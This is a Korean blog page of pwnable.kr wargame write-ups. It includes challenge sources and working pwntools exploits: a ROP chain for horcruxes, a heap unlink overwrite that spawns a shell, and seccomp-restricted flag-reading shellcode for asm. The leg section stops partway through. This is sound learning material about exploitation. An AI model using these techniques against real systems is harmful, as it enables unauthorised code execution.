Wargame
- [pwnable.kr] md5 calculator 2018.09.24
- [pwnable.kr] simple login 2018.09.24
- [pwnable.kr] brain fuck 2018.09.24
- [pwnable.kr] horcruxes 2018.08.20 2
- [pwnable.kr] blukat 2018.08.20
- [pwnable.kr] unlink 2018.08.01
- [pwnable.kr] memcpy 2018.07.27
- [pwnable.kr] asm 2018.07.27
- [pwnable.kr] leg 2018.06.08
- [pwnable.kr] cmd2 2018.06.08
[pwnable.kr] md5 calculator
[pwnable.kr] simple login
[pwnable.kr] brain fuck
[pwnable.kr] horcruxes
호크룩스..
볼드모트 (Voldemort)는 7 개의 호크룩스(Horcruxes) 안쪽에 자신의 쪼개진 영혼을 숨겼습니다.
모든 호크룩스를 찾아 파괴하십시오!
앜ㅋㅋㅋ 볼드모트라니... 갑자기 해리포터
일단 접속해보면 바이너리가 하나 있는데; 포너블.kr 서버에서 분석하기 귀찮아서 다운받아서 ida로 보기로 했다.
scp -P 2222 horcruxes@pwnable.kr:/home/horcruxes/horcruxes /home/myria/pwnable.kr/horcruxes/
경험치를 다 모으면 얼마인지를 입력받아서, 그 값이 정말 경험치를 다 모은 값과 같다면 flag를 출력해준다.
get함수에서 overflow가 일어나기때문에 호크룩스 함수들을 차례로 부를 수 있다.
ROP타임... 먼저 호크룩스들의 주소를 알아보자.
함수명이 간단해서 금방 찾았따...
ROP해주자. 경험치가 막 뜬다.
근데 인티저 오버플로우가 나서 경험치가 -되기도 한다..
경험치를 다 모아서 가져다주면 플래그를 준당
ㅇ오옹
가끔 경험치가 마이너스가 될때가 있어서... 잘 처리해주어야한다..
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 | from pwn import * #context.log_level = 'debug' s = ssh(user='horcruxes',host='pwnable.kr',port=2222,password='guest') conn = s.connect_remote('localhost', 9032) call_ropme = 0x809FFFC def collect_horcruxes(): payload = "A"*0x74 payload += p32(0xdeadbeef) #sfp payload += p32(0x809fe4b) #A payload += p32(0x809fe6a) #B payload += p32(0x809fe89) #C payload += p32(0x809fea8) #D payload += p32(0x809fec7) #E payload += p32(0x809fee6) #F payload += p32(0x809ff05) #G payload += p32(call_ropme) conn.recvuntil(":") conn.sendline(payload) def Get_EXP(): conn.recvuntil("EXP +") return conn.recvuntil(")")[:-1] conn.recvuntil(":") conn.sendline("1") collect_horcruxes() EXP = 0 for i in range(7): EXP += int(Get_EXP()) EXP = EXP&0xFFFFFFFF if EXP>>31 == 1: EXP = EXP-0x100000000 log.info("EXP : %d" % EXP) conn.recvuntil(":") conn.sendline("1") conn.recvuntil(":") conn.sendline(str(EXP)) conn.interactive() | cs |
'Wargame > Pwnable.kr' 카테고리의 다른 글
[pwnable.kr] simple login (0) | 2018.09.24 |
---|---|
[pwnable.kr] brain fuck (0) | 2018.09.24 |
[pwnable.kr] blukat (0) | 2018.08.20 |
[pwnable.kr] unlink (0) | 2018.08.01 |
[pwnable.kr] memcpy (0) | 2018.07.27 |
[pwnable.kr] blukat
으ㅏㅏㅏ 저번에 [Toddler's Bottle] 다 풀었다고 좋아했는데...
새로운 문제가 올라왔다.
심지어 벌써 100명이상 풀었다 ㅂㄷㅂㄷ...
문제를 보면 포너블 문제가 약간 이상하다고 한다.
그리고 힌트로 이 문제가 어렵다면 숙련된 사람일것이라는데... 뭐 일단 접속해서 문제를 보자.
흠... 별로 다를게 없어보이는데
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | #include <stdio.h> #include <string.h> #include <stdlib.h> #include <fcntl.h> char flag[100]; char password[100]; char* key = "3\rG[S/%\x1c\x1d#0?\rIS\x0f\x1c\x1d\x18;,4\x1b\x00\x1bp;5\x0b\x1b\x08\x45+"; void calc_flag(char* s){ int i; for(i=0; i<strlen(s); i++){ flag[i] = s[i] ^ key[i]; } printf("%s\n", flag); } int main(){ FILE* fp = fopen("/home/blukat/password", "r"); fgets(password, 100, fp); char buf[100]; printf("guess the password!\n"); fgets(buf, 128, stdin); if(!strcmp(password, buf)){ printf("congrats! here is your flag: "); calc_flag(password); } else{ printf("wrong guess!\n"); exit(0); } return 0; } | cs |
변수가 다 전역변수로 선언되어있고, password를 읽어와서 그 값을 사용자가 입력한 값과 비교하여 맞다면, flag를 출력해줍니다.
음.. 그냥 보기에는 어려워 보입니다.
일단 key길이는 33으로 플래그길이도 그정도 되어보입니다.
일단 password는 Permission denied가 나는데...
!?
ㅇㅁ... 좀 해멨는데; 잘보니 그룹 권한에 blukat_pwn이 있었군여
그렇담... 이건;;
아닛.. 이렇게 낚시를....
마침 글자도 33글자...
으ㅡㅡ
점수가 낮은 이유가 있었군요
클리어입니다.
'Wargame > Pwnable.kr' 카테고리의 다른 글
[pwnable.kr] brain fuck (0) | 2018.09.24 |
---|---|
[pwnable.kr] horcruxes (2) | 2018.08.20 |
[pwnable.kr] unlink (0) | 2018.08.01 |
[pwnable.kr] memcpy (0) | 2018.07.27 |
[pwnable.kr] asm (0) | 2018.07.27 |
[pwnable.kr] unlink
오늘로 pwnable.kr [Toddler's Bottle] 클리어입니다~~!!
후... 꽤 오래걸렸네여
unlink라고 하는 걸 보니, heap과 관련된 문제일것 같습니다.
unlink corruption~~
unlink 문제입니다. heap overflow와 관련되있어서 공부를 조금 했습니다.
접속하면 4개의 파일이 있는데, flag 및 intended_solution.txt의 권한이 unlink_pwn의 권한으로 되어있어 읽지를 못합니다.
그래서 unlink파일을 통해 읽어줘야하는데, 먼저 소스를 보면 아래와 같습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 | #include <stdio.h> #include <stdlib.h> #include <string.h> typedef struct tagOBJ{ struct tagOBJ* fd; struct tagOBJ* bk; char buf[8]; }OBJ; void shell(){ system("/bin/sh"); } void unlink(OBJ* P){ OBJ* BK; OBJ* FD; BK=P->bk; FD=P->fd; FD->bk=BK; BK->fd=FD; } int main(int argc, char* argv[]){ malloc(1024); OBJ* A = (OBJ*)malloc(sizeof(OBJ)); OBJ* B = (OBJ*)malloc(sizeof(OBJ)); OBJ* C = (OBJ*)malloc(sizeof(OBJ)); // double linked list: A <-> B <-> C A->fd = B; B->bk = A; B->fd = C; C->bk = B; printf("here is stack address leak: %p\n", &A); printf("here is heap address leak: %p\n", A); printf("now that you have leaks, get shell!\n"); // heap overflow! gets(A->buf); // exploit this unlink! unlink(B); return 0; } | cs |
보통은 unlink 버그는 free를 하면서 일어나는데, 여기서는 free를 하는 대신 unlink라는 함수를 따로 정의하여 사용하고 있습니다.
여기서 문제가 되는 부분은 이부분입니다.
1 2 3 4 5 6 7 8 | void unlink(OBJ* P){ OBJ* BK; OBJ* FD; BK=P->bk; FD=P->fd; FD->bk=BK; BK->fd=FD; } | cs |
unlink(B)를 수행하여 B와 A<=>B<=>C의 연결을 끓어 A<=>C B 로 만들려는 것인데,
그 전에 gets(A->buf)함수를 통해 overflow가 발생하여, B의 fd값과 bk값을 덮을 수 있어
원하는 곳에 원하는 값을 덮을 수 있게 됩니다.
fd+4 = bk
bk = fd
가 되기 때문에, fd에 RET-4의 주소를 넣고, bk에 Shell의 주소를 넣으면 될것같았는데,
bk = fd 이 부분에서 bk가 Code영역에 있는 Shell의 주소라면 이 곳에 fd를 덮어쓰려고하면, 세그먼트폴트가 뜨기때문에 이렇게 해서 ret를 덮을 수 없습니다.
그래서 처음에는 Shellcode를 이용해서 call이나 jmp를 하려했으나....
나중에 깨달았지만.... NX가 걸려있더군여 ㅡㅡ;
덕분에 뻘짓만 엄청하고 다시 원점으로 돌아와서....
ret를 직접적으로 못 건드리니 unlink함수에 들어갔을 때 SFP를 조작하여, main의 esp값을 조작하기로 했습니다.
ebp를 조작하여 heap에 할당된 데이터영역(buf)를 새로운 스택으로 삼아 eip에 shell의 주소를 넣으면 됩니다.
그래서 ebp만 조작하다보니, main의 에필로그가 조금 다르더군여...
ecx에 ebp-0x4의 값을 저장시키고, ecx-0x4의 주소를 esp에 넣고 ret합니다.
ㅁㄴㅇㄹ... 이미 위에서 다르게 조작하는 저는 조금 다르게 payload가 짜였습니다.
다른분들은 진작에 main 에필로그가 다르단걸 깨닫고 ebp-0x4부분만 잘 덮어주셨네요 ㅇㅇ..
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | from pwn import * s = ssh(user='unlink',host='pwnable.kr',port=2222,password='guest') conn = s.process("./unlink") #conn = process("./unlink") conn.recvuntil("here is stack address leak: ") stack_addr = int(conn.recvline().strip(),16) ret_addr = stack_addr+40 conn.recvuntil("here is heap address leak: ") heap_addr = int(conn.recvline().strip(),16) log.info("stack : "+hex(ret_addr)) log.info("heap : "+hex(heap_addr)) shell_address = 0x80484eb ebp_addr = stack_addr-0x1c fake_ebp = heap_addr+16 payload = p32(shell_address)+p32(fake_ebp-4)+"A"*8 payload += p32(fake_ebp) #fd fd+4=bk payload += p32(ebp_addr) #bk bk = fd conn.sendline(payload) conn.interactive() | cs |
위와 같이 하면 flag를 얻을 수 있습니다.
이게 의도했던 정답!
크게 다를건 없지만... 뭐 상관은 없습니다.
이걸로 [Toddler's Bottle] 클리어~~
'Wargame > Pwnable.kr' 카테고리의 다른 글
[pwnable.kr] horcruxes (2) | 2018.08.20 |
---|---|
[pwnable.kr] blukat (0) | 2018.08.20 |
[pwnable.kr] memcpy (0) | 2018.07.27 |
[pwnable.kr] asm (0) | 2018.07.27 |
[pwnable.kr] leg (0) | 2018.06.08 |
[pwnable.kr] memcpy
오늘도 pwnable.kr 문제풀이 탐방~~
음... 대체 이 일러들은 누가 그린것인지 의문이 들기 시작했다..
해킹에 지치지않았냐면서 좀 쉬고가라고 한다.
해킹문제가 아니라는데... 과연....?
ssh로 접속해보면 readme라고 있다. 읽어보면 아래와 같다.
memcpy@ubuntu:~$ cat readme the compiled binary of "memcpy.c" source code (with real flag) will be executed under memcpy_pwn privilege if you connect to port 9022. execute the binary by connecting to daemon(nc 0 9022). |
memcpy.c를 real flag과 컴파일해서 memcpy_pwn 권한으로 9022포트에서 실행할 수 있다고 한다.
접속해보니, 간단한 실험만 해주면 플래그를 주겠다고 한다.
해킹이 아니라고 하면서 하라는데;;
입력하라는데로 입력했는데, 5번째에서 죽어버린다;
일단 소스코드를 보자.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 | // compiled with : gcc -o memcpy memcpy.c -m32 -lm #include <stdio.h> #include <string.h> #include <stdlib.h> #include <signal.h> #include <unistd.h> #include <sys/mman.h> #include <math.h> unsigned long long rdtsc(){ asm("rdtsc"); } char* slow_memcpy(char* dest, const char* src, size_t len){ int i; for (i=0; i<len; i++) { dest[i] = src[i]; } return dest; } char* fast_memcpy(char* dest, const char* src, size_t len){ size_t i; // 64-byte block fast copy if(len >= 64){ i = len / 64; len &= (64-1); while(i-- > 0){ __asm__ __volatile__ ( "movdqa (%0), %%xmm0\n" "movdqa 16(%0), %%xmm1\n" "movdqa 32(%0), %%xmm2\n" "movdqa 48(%0), %%xmm3\n" "movntps %%xmm0, (%1)\n" "movntps %%xmm1, 16(%1)\n" "movntps %%xmm2, 32(%1)\n" "movntps %%xmm3, 48(%1)\n" ::"r"(src),"r"(dest):"memory"); dest += 64; src += 64; } } // byte-to-byte slow copy if(len) slow_memcpy(dest, src, len); return dest; } int main(void){ setvbuf(stdout, 0, _IONBF, 0); setvbuf(stdin, 0, _IOLBF, 0); printf("Hey, I have a boring assignment for CS class.. :(\n"); printf("The assignment is simple.\n"); printf("-----------------------------------------------------\n"); printf("- What is the best implementation of memcpy? -\n"); printf("- 1. implement your own slow/fast version of memcpy -\n"); printf("- 2. compare them with various size of data -\n"); printf("- 3. conclude your experiment and submit report -\n"); printf("-----------------------------------------------------\n"); printf("This time, just help me out with my experiment and get flag\n"); printf("No fancy hacking, I promise :D\n"); unsigned long long t1, t2; int e; char* src; char* dest; unsigned int low, high; unsigned int size; // allocate memory char* cache1 = mmap(0, 0x4000, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); char* cache2 = mmap(0, 0x4000, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); src = mmap(0, 0x2000, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); size_t sizes[10]; int i=0; // setup experiment parameters for(e=4; e<14; e++){ // 2^13 = 8K low = pow(2,e-1); high = pow(2,e); printf("specify the memcpy amount between %d ~ %d : ", low, high); scanf("%d", &size); if( size < low || size > high ){ printf("don't mess with the experiment.\n"); exit(0); } sizes[i++] = size; } sleep(1); printf("ok, lets run the experiment with your configuration\n"); sleep(1); // run experiment for(i=0; i<10; i++){ size = sizes[i]; printf("experiment %d : memcpy with buffer size %d\n", i+1, size); dest = malloc( size ); memcpy(cache1, cache2, 0x4000); // to eliminate cache effect t1 = rdtsc(); slow_memcpy(dest, src, size); // byte-to-byte memcpy t2 = rdtsc(); printf("ellapsed CPU cycles for slow_memcpy : %llu\n", t2-t1); memcpy(cache1, cache2, 0x4000); // to eliminate cache effect t1 = rdtsc(); fast_memcpy(dest, src, size); // block-to-block memcpy t2 = rdtsc(); printf("ellapsed CPU cycles for fast_memcpy : %llu\n", t2-t1); printf("\n"); } printf("thanks for helping my experiment!\n"); printf("flag : ----- erased in this source code -----\n"); return 0; } | cs |
프로그램은 memcpy를 실행하는데, slow_memcpy와 fast_memcpy를 실행하는 시간(cycle)을 측정하여 출력해준다.
이 사이클을 측정하는데 rdtsc라는 어셈블리 명령어를 사용하는데, rdtsc는 Read Time Stamp Counter로 time stamp counter를 읽어내는 명령어이다. 즉 사이클을 측정하는 것인데, 이는 컴퓨터 사이클로 시간과는 조금 다르다.
어쨋든 중요한 부분은 아니고, 원래라면 10번 실행되고 플래그가 출력되야하는데, 5번째에서 죽어버린다.
소스코드가 있으니, 다른 곳에서 컴파일해서 실행해보았다.
5번째에서 slow_memcpy의 결과가 나오고, fast_memcpy가 나오기전에 Segmentation fault가 뜨면서 죽어버렸다.
gdb로 확인해보자.
fast_memcpy의 movntps XMMWORD PTR [edx], xmm0 명령을 수행하는 과정에서 죽어버렸다.
이 movntps나 movdqa가 뭐하는 명령인지 몰라서 한번 찾아보았다.
- MOVDQA
Move Aligned Double Quadword
데이터 전송 명령어로, 128bits의 데이터를 한 번에 xmm 레지스터로 이동하거나, 반대로 xmm레지스터의 데이터를 메모리로 전송하는 처리를 한다.
This instruction can be used to move a double quadword to and from an XMM register and a 128-bit memory location, or between two XMM registers.
- MOVNTPS
Store Packed Single-Precision Floating-Point Values Using Non-Temporal Hint
두 번째 오퍼랜드로 입력받은 XMM 레지스터에 있는 float형 데이터 4개를 캐시를 통하지 않고 첫 번째 오퍼랜드로 입력받은 메모리 주소로 복사한다.
The destination operand is a 128-bit memory location.
여기서 중요한 것은 목적지(destination)이 128-bit memory location이여야 한다는 것이다.
여기서 xmm레지스터라는 것을 처음보아서 xmm레지스터가 뭔지 검색을 한번 해보았다.
CPU에서 정보를 처리하기 위해서는 반드시 레지스터라고 하는 CPU내부의 임시 기억장소에 데이터를 적재해야 한다. 일반 범용 레지스터로 EAX, EBX, ECX, EDX 같은 게 있고 특수 용도 레지스터로 ESP, EBP 같은게 있는데 이런 것들이 모두 SISD용 레지스터다. SIMD용으로도 레지스터가 존재하며 여러 데이터를 한번에 처리하기 위해 일반 범용 레지스터보다 용량이 크다. XMM0, XMM1 같은 이름이 붙어있고 CPU가 지원하는 기술이 뭐냐에 따라 이 레지스터도 달라진다. (xmm0~xmm7) |
xmm0~xmm7까지 있고, SIMD용 레지스터로 128비트 레지스터이고 연산 시 32비트 정수 네 개의 배열로 간주하고 연산한다.
즉, xmm 레지스터에 메모리를 16바이트씩 한번에 올려서 연산하므로 빠른것이다.
그리고 movntps를 수행하는데 있어, 목적지가 128-bit memory location으로 정렬되어있어야하는데, 여기서는 그게 안되서 죽은것이다.
그러므로 목적지 주소가 모두 128bit(0x10 byte)의 배수가 되도록 맞춰주면 Segmentation fault없이 작동할 것이다.
몇번의 시행착오끝에 플래그를 획득할 수 있었다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | from pwn import * s = ssh(user='memcpy',host='pwnable.kr',port=2222,password='guest') conn = s.connect_remote('localhost', 9022) #conn = process("./memcpy") def specify(amount): conn.recvuntil("specify the memcpy amount between") conn.sendline(amount) conn.recvuntil("No fancy hacking, I promise :D") specify("8") #1 specify("16") #2 specify("32") #3 specify("72") #4 specify("136") #5 specify("264") #6 specify("520") #7 specify("1032") #8 specify("2056") #9 specify("4096") #10 conn.interactive() | cs |
굿!
'Wargame > Pwnable.kr' 카테고리의 다른 글
[pwnable.kr] blukat (0) | 2018.08.20 |
---|---|
[pwnable.kr] unlink (0) | 2018.08.01 |
[pwnable.kr] asm (0) | 2018.07.27 |
[pwnable.kr] leg (0) | 2018.06.08 |
[pwnable.kr] cmd2 (0) | 2018.06.08 |
[pwnable.kr] asm
아주 오랜만에 pwnable.kr 문제를 풀러왔다.
6점짜리라서 다른 것보다 쉬울 줄 알았는데; 쉘코드를 만들어야한다... 이ㄹ..
접속해보면 아래와 같은 것들을 볼 수 있다.
바이너리 파일이 하나 있고, readme랑 this_is~~~하는 파일이 하나 있는데
readme의 내용은 아래와 같다.
once you connect to port 9026, the "asm" binary will be executed under asm_pwn privilege. make connection to challenge (nc 0 9026) then get the flag. (file name of the flag is same as the one in this directory) |
nc 0 9026으로 접속하여 asm_pwn의 권한으로 플래그를 읽으라는 것 같다.
asm 바이너리 파일이 9026포트에서 돌아가고 있고, 이 파일은 64bit 바이너리파일이다.
실행해보면 아래와 같이 출력된다.
asm@ubuntu:~$ ./asm Welcome to shellcoding practice challenge. In this challenge, you can run your x64 shellcode under SECCOMP sandbox. Try to make shellcode that spits flag using open()/read()/write() systemcalls only. If this does not challenge you. you should play 'asg' challenge :) give me your x64 shellcode: |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 | #include <stdio.h> #include <string.h> #include <stdlib.h> #include <sys/mman.h> #include <seccomp.h> #include <sys/prctl.h> #include <fcntl.h> #include <unistd.h> #define LENGTH 128 void sandbox(){ scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL); if (ctx == NULL) { printf("seccomp error\n"); exit(0); } seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0); if (seccomp_load(ctx) < 0){ seccomp_release(ctx); printf("seccomp error\n"); exit(0); } seccomp_release(ctx); } char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff"; unsigned char filter[256]; int main(int argc, char* argv[]){ setvbuf(stdout, 0, _IONBF, 0); setvbuf(stdin, 0, _IOLBF, 0); printf("Welcome to shellcoding practice challenge.\n"); printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n"); printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n"); printf("If this does not challenge you. you should play 'asg' challenge :)\n"); char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0); memset(sh, 0x90, 0x1000); memcpy(sh, stub, strlen(stub)); int offset = sizeof(stub); printf("give me your x64 shellcode: "); read(0, sh+offset, 1000); alarm(10); chroot("/home/asm_pwn"); // you are in chroot jail. so you can't use symlink in /tmp sandbox(); ((void (*)(void))sh)(); return 0; } | cs |
mmap() 함수는 fd로 지정된 파일(혹은 다른 객체)에서 offset을 시작으로 length바이트 만큼을 start주소로 대응시키도록 한다. start주소는 단지 그 주소를 사용했으면 좋겠다는 정도로 보통 0을 지정한다. mmap는 지정된 영역이 대응된 실제 시작위치를 반환한다. prot인자는 원하는 메모리:::보호모드(:12)를 설정한다. 사용할 수 있는 비트는 다음과 같다. |
SECCOMP은 secure computing mode의 약자로 리눅스 커널에서 애플리케이션 sandboxing 매커니즘을 제공하는 컴퓨터 보안 기능입니다. system call을 통해 기능을 활성화 시키면, 이를 호출한 프로세스에 있는 모든 fd들에 대해서 read, write, exit, sigreturn을 제외한 모든 system call 호출이 불가능 해집니다. 만약 다른 시스템 호출을 시도한다면, 커널이 SIGKILL로 프로세스를 종료시킵니다. 즉, 시스템의 자원을 가상화하는 것이 아니라 프로세스를 고립시키는 것이라고 할 수 있습니다. |
그래서 우리는 open(), read(), write(), exit() 만으로 쉘코드를 만들어서 flag를 읽으면 된다. 사실 open(), read(), write()만 있으면 flag를 읽을 수 있다.
다시 문제로 돌아와서 보면 read함수로 사용자로부터 쉘코드를 입력받아 실행하는데, 여기서 stub[]이란 녀석을 우리의 쉘코드앞에 붙여서 실행하게 된다.
이 stub[]이 어떤 코드인지 disassemble해보면 아래와 같다.
그냥 레지스터들을 0으로 초기화해주는 역할을 한다.
그냥 무시하고 쉘코드를 작성해도 된다.
우리는 read, open, write, exit를 쓸 수 있다.
- open(flag, 0, 0) # O_RDONLY=0
- read(3, bss, 100)
- write(stdout, bss, 100)
위와 같은 쉘코드를 작성하면 될 것 같다.
그래서 처음에 아래와 같은 쉘코드를 작성했으나... Bad system call 이라는 문구와 함께 자구 죽어버렸다 ㅡㅡ;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | global _start _start jmp go func: mov al, 0x2 pop rdi syscall push rax pop rdi mov rsi, 0x41414710 mov dx, 0x111 xor rax, rax syscall xor rax, rax mov al, 0x1 push rax pop rdi syscall go: call func db 'this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_lon~~g' | cs |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | global _start _start: mov al, 0x2 mov rdi, 0x41414050 syscall push rax pop rdi mov rsi, 0x41414710 mov dx, 0x111 xor rax, rax syscall xor rax, rax mov al, 0x1 push rax pop rdi syscall | cs |
sherlock@ubuntu:~$ nasm -f elf64 shell.asm sherlock@ubuntu:~$ ld shell.o sherlock@ubuntu:~$ objcopy -O binary a.out shell.bin sherlock@ubuntu:~$ hexdump -v -e '"\\""x" 1/1 "%02x" ""' shell.bin |
컴파일과 링킹을 마치고, 위와 같이 실행하면 쉘코드를 얻을 수 있다.
이제 asm_pwn의 권한을 얻어 flag를 획득할 수 있다.
찾아보니 pwntools의 shellcraft를 이용하면 쉘코드를 쉽게 만들수 있다고 한다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | from pwn import * context(arch='amd64', os='linux') filename = 'this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong' shellcode = "" shellcode += shellcraft.pushstr(filename) shellcode += shellcraft.open('rsp', 0) shellcode += shellcraft.read('rax', 'rsp', 100) shellcode += shellcraft.write(1, 'rsp', 100) s = ssh(user='asm',host='pwnable.kr',port=2222,password='guest') conn = s.connect_remote('localhost', 9026) conn.recvuntil("give me your x64 shellcode:") conn.sendline(asm(shellcode)) conn.interactive() | cs |
rsp에 파일명을 올리고, rsp에 쓰고, 읽다보니 flag과 파일명이 이어져서 출력되었다.
어쨋든 이렇게도 할 수 있다~
'Wargame > Pwnable.kr' 카테고리의 다른 글
[pwnable.kr] unlink (0) | 2018.08.01 |
---|---|
[pwnable.kr] memcpy (0) | 2018.07.27 |
[pwnable.kr] leg (0) | 2018.06.08 |
[pwnable.kr] cmd2 (0) | 2018.06.08 |
[pwnable.kr] uaf - 8 pt (0) | 2018.05.31 |
[pwnable.kr] leg
이번에 이 leg라는 문제를 풀어보겠다. 저번에 한번 이 문제를 풀려했었는데, 지금까지는 Intel 기반 어셈만 봐오다가 ARM기반 어셈블리코드를 보니
뭘해야할지 몰라서 포기했었다 ㅡㅡ;
그런데 이번에 ARM공부를 할 기회가 생겼고, 얼마전에 논리회로에서 SAP-1을 구현하고나니
왠지 이번에는 풀 수 있을 것 같아서 풀어보게되었다. 확실히 SAP-1이나 ARM공부를 조금 하고 나니까 이해가 가더라 ㅇㅇ
문제를 보면 먼저 ARM을 공부하란다. 다행히 이번에는 저번과 다르게 공부한 상태이므로 바로 들어가보도록하자!
leg.asm과 leg.c를 주는데, leg.asm을 보면 ARM어셈블리 코드를 던져주고, leg.c에서 어떻게 플래그를 획득할 수 있는지 나온다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 | #include <stdio.h> #include <fcntl.h> int key1(){ asm("mov r3, pc\n"); } int key2(){ asm( "push {r6}\n" "add r6, pc, $1\n" "bx r6\n" ".code 16\n" "mov r3, pc\n" "add r3, $0x4\n" "push {r3}\n" "pop {pc}\n" ".code 32\n" "pop {r6}\n" ); } int key3(){ asm("mov r3, lr\n"); } int main(){ int key=0; printf("Daddy has very strong arm! : "); scanf("%d", &key); if( (key1()+key2()+key3()) == key ){ printf("Congratz!\n"); int fd = open("flag", O_RDONLY); char buf[100]; int r = read(fd, buf, 100); write(0, buf, r); } else{ printf("I have strong leg :P\n"); } return 0; } | cs |
Daddy has very strong arm! 이라는 문구가 나오고 key1()+key2()+key3()의 값을 맞추면 플래그를 읽어와 출력해 줄 것이다.
key1()을 보자. 우리는 리턴값만 알면되므로 r0에 뭐가 저장되는지만 추적하면 된다.
1 2 3 4 5 6 7 8 | Dump of assembler code for function key1: 0x00008cd4 <+0>: push {r11} ; (str r11, [sp, #-4]!) 0x00008cd8 <+4>: add r11, sp, #0 0x00008cdc <+8>: mov r3, pc 0x00008ce0 <+12>: mov r0, r3 0x00008ce4 <+16>: sub sp, r11, #0 0x00008ce8 <+20>: pop {r11} ; (ldr r11, [sp], #4) 0x00008cec <+24>: bx lr | cs |
여기서는 r3을 pc에 넣고 다시 r0에 넣게 된다. 여기서 pc란 program counter로 intel에서 eip와 대응한다고 보면 된다. 그러므로 pc에는 다음에 실행한 명령어의 주소가 저장되어있을 것이고, 이게 r3에 옮겨지게 된다.
하지만 여기서 ARM에서는 명령을 실행할 때, fetch -> decode -> execute 순으로 실행되기 때문에 pc값을 실제로 읽으면 다음명령어가 아니라 +8한 값이 나온다.
fetch -> decode -> execute
1. instruction을 메모리로 가져온다. (Fetch)
2. 가져온 Instruction을 Dedode하고 Register 값을 확인 (Decode)
3. Decoding된 Instruction을 실행한다. (Execution)
아래는 AZERIA-Labs에서 퍼온 내용이다.
During execution, PC stores the address of the current instruction plus 8 (two ARM instructions) in ARM state, and the current instruction plus 4 (two Thumb instructions) in Thumb(v1) state. This is different from x86 where PC always points to the next instruction to be executed.
…right? Wrong. Look at the address in R0. While we expected R0 to contain the previously read PC value (0x8054) it instead holds the value which is two instructions ahead of the PC we previously read (0x805c). From this example you can see that when we directly read PC it follows the definition that PC points to the next instruction; but when debugging, PC points two instructions ahead of the current PC value (0x8054 + 8 = 0x805C). This is because older ARM processors always fetched two instructions ahead of the currently executed instructions. The reason ARM retains this definition is to ensure compatibility with earlier processors.
출처 : https://azeria-labs.com/arm-data-types-and-registers-part-2/
ARM에서는 실행 상태일 때 PC에는 현재 수행하는 명령어+8의 주소가 저장된다.
이는 이전 ARM 프로세서가 항상 현재 실행 된 명령어보다 두 개의 명령어를 먼저 가져 오기 때문인데,
ARM은 cpu의 효율을 위해 fetch, decode, execute를 동시에 수행하고, 그래서 명령어를 execute할 때 그 다음 명령어는 decode되고 또 다음 명령어는 fetch된다.
여기서 pc는 CPU가 현재 실행하고 있는 명령어(instruction)의 주소를 가리키고 있고, pc는 fetch에서 증가하고 pc는 다음 명령어 의 주소를 가리키게 된다. 즉, 명령어를 execute를 하는 시점에서 다음 명령어의 fetch는 끝난 상황이며 pc는 execute하는 명령어에서 두 번째 명령어의 주소값을 가리키는 것이다.
참고로 ARM이 이 방식을 유지하는 이유는 이전 프로세서와의 호환성을 보장하기 위해서라고 한다.
그래서 이 문제에서 r0에 들어가는 값은 r3에 pc값을 옮기는 명령어 주소+8의 값이 들어가게 된다.
즉, 0x00008cdc+4 = 0x00008ce4 이다.
이제 key2()를 보자.
